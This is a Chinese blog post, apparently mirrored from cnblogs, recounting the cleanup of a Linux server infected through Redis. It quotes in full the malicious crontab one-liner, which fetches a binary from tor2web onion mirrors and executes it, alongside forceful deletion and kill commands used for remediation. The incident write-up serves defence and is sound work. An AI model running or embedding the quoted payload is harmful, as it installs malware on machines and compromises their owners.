zoukankan      html  css  js  c++  java
  • 病毒 入侵 redis 漏洞 导致 linux被植入病毒的处理方式

    ######

    检查 时 crontab  已被清空 被以下脚本代替  

    /bin/sh -c (tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  ${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp) && chmod +x ~/.ntp && sh ~/.ntp

    清空 crontab  

    ll /var/spool/cron/ -a

    cd /var/spool/cron/ 

    rm -rf ./*

    rm -rf ./.*

    杀死进程 定时任务启动的任务 

    ps -ef|grep tbin|grep -v bash|grep -v sshd|awk '{print $2}|xargs -i{} kill -9 {} 

    再次查看进程,不到一分钟发现脚本又重新启动

    ps -aux|more  chkconfig --list  并没有发现可疑程序

    再次杀死进程,并停止 crontab , 过了一会再次查看进程, 已经不存在了,可以确定是 crontab的问题, 

    通过 定时任务里的url 地址 搜 定时任务配置文件, 搜到如下 其实是 伪装的Binary file  全部清除, 

    [root@application01 ~]# grep -irnH 7xffbbbebumizpeg /*
    Binary file /etc/cron.d/.vuhcwazfbpmgakhhoc matches
    Binary file /etc/cron.d/.auwdfmcucuhaq matches
    Binary file /etc/cron.d/.cpddmaaqgh matches
    Binary file /etc/cron.d/.yaygulruw matches
    Binary file /etc/cron.d/.fddjefx matches
    Binary file /etc/cron.d/.bgvhyj matches
    Binary file /etc/crontab matches
    Binary file /home/123/root matches

    然后启动crontab ,

    再次检查进程没有再次启动

    ps -aux|more

    ps -ef|grep tbin

    我的redis 并没有对外开放,依然被攻击了,具体如何被攻击的不在这里赘述了

    需要注意 redis 切记 加密码访问

    改行去放羊
  • 相关阅读:
    vs2005 水晶报表横向打印Bug
    petshop4.0 详解之七(PetShop表示层设计)
    petshop4.0 详解之八(PetShop表示层设计)
    在VS2005中使用VSS2005
    用DataFormatString格式化GridView
    GridView的高级用法
    水晶报表 打印时出现错误提示:出现通信错误。将停止打印
    POJ1182 食物链[并查集]
    并查集的基础知识
    HDOJ1269 迷宫城堡[强连通分量]
  • 原文地址:https://www.cnblogs.com/musen/p/13214218.html
Copyright © 2011-2022 走看看